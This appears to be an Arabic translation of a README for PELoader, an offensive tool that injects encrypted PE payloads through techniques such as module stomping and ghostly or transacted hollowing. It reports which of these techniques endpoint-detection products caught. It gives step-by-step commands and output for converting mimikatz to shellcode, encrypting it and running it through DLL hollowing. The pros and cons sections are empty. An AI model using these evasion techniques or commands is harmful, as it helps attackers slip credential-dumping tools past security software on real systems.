
محمل PE مع تقنيات حقن شيلكود متنوعة
يقوم PELoader بتنفيذ تقنيات حقن مختلفة لـ shellcode، ويستخدم مكتبة libpeconv لتحميل ملفات PE المشفرة بدلاً من حقن shellcode في خيط بعيد.
التقنيات التالية تم تنفيذها:
الشكر: معظم عملي استند إلى نصوص PoC الخاصة بـ @hasherezade.
تم اختبار PELoader على Windows 10 مع Cortex XDR / SentinalOne / Windows Defender / CrowdStrike، واكتشف كل من Windows Defender و CrowdStrike تقنيات Transacted Hollowing. تم اختبار خصائص كل تقنية باستخدام أداة فحص الذاكرة Moneta من @forrest-orr.
Module Stomping (LoadLibrary)
استدعاء LoadLibrary لتحميل DLL شرعية. قم بالكتابة فوق DLL بالحمولة
الإيجابيات

Module Stomping (NtMapViewOfSection)
استدعاء NtCreateSection لإنشاء كائن تعيين ملف (PAGE_READONLY) لـ DLL شرعية، واستدعاء NtMapViewOfSection لتعيينها إلى العملية الحالية. قم بالكتابة فوق DLL بالحمولة.
الإيجابيات
العيوب

مرجع إلى PoC الخاص بـ @hasherezade.
Transacted Hollowing
هجين بين Process Hollowing و Process Doppelgänging. قم بإنشاء ملف 'غير مرئي' ضمن معاملة NTFS وكتابة الحمولة في الملف. قم بتعيين القسم إلى العملية الحالية وتنفيذه.
الإيجابيات
العيوب

Ghostly Hollowing
هجين بين Process Hollowing و Process Ghosting. قم بإنشاء ملف بحالة حذف معلقة وكتابة الحمولة في الملف. قم بتعيين القسم إلى العملية الحالية وتنفيذه.
الإيجابيات
العيوب
مرجع إلى PoC الخاص بـ @hasherezade.
NtMapViewOfSection (RWX-RW-RX)
استدعاء NtCreateSection لإنشاء قسم ذاكرة (RWX). استدعاء NtMapViewOfSection لتعيين عرض إلى العملية الحالية (RWX). استدعاء VirtualProtect لتغيير الحماية إلى RW. نسخ shellcode إلى القسم المعين. تغيير الحماية إلى RX وتنفيذه.
الإيجابيات
العيوب

NtAllocateVirtualMemory (RW-RX)
استدعاء NtAllocateVirtualMemory لتخصيص ذاكرة (RW). نسخ shellcode إلى الذاكرة. تغيير الحماية إلى RX وتنفيذه.
الإيجابيات
العيوب

AES Encrypt Payload
تحويل ملف PE إلى shellcode باستخدام pe_to_shellcode وتشفيره باستخدام PELoader
cmd> .\pe2shc.exe mimikatz.exe
Reading module from: mimikatz.exe
[WARNING] This is a console application! The recommended subsystem is GUI.
[+] Saved as: mimikatz.shc.exe
cmd> set hagrid=enc mimikatz.shc.exe
cmd> .\PELoader.exe
argument: enc mimikatz.shc.exe
Encrypting File
PE Execution
تعيين الوسيطة إلى متغير البيئة 'hagrid' وتنفيذ PELoader
cmd> set hagrid=cdll mimikatz.shc.exe.enc
cmd> .\PELoader.exe version
argument: cdll mimikatz.shc.exe.enc
Classic DLL Hollowing
[*] target dll: C:\WINDOWS\system32\aadtb.dll
[*] implant dll: mimikatz.shc.exe.enc
[*] Loading the DLL (using LoadLibary, classic DLL hollowing)...
[*] Overwriting the mapping
[*] Module Overloading finished...
[*] Executing Implant's Entry Point: 7ff8cf9d7578
[*] Executing Implant as EXE
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # version
mimikatz 2.2.0 (arch x64)
Windows NT 10.0 build 19043 (arch x64)
msvc 150030729 207
mimikatz #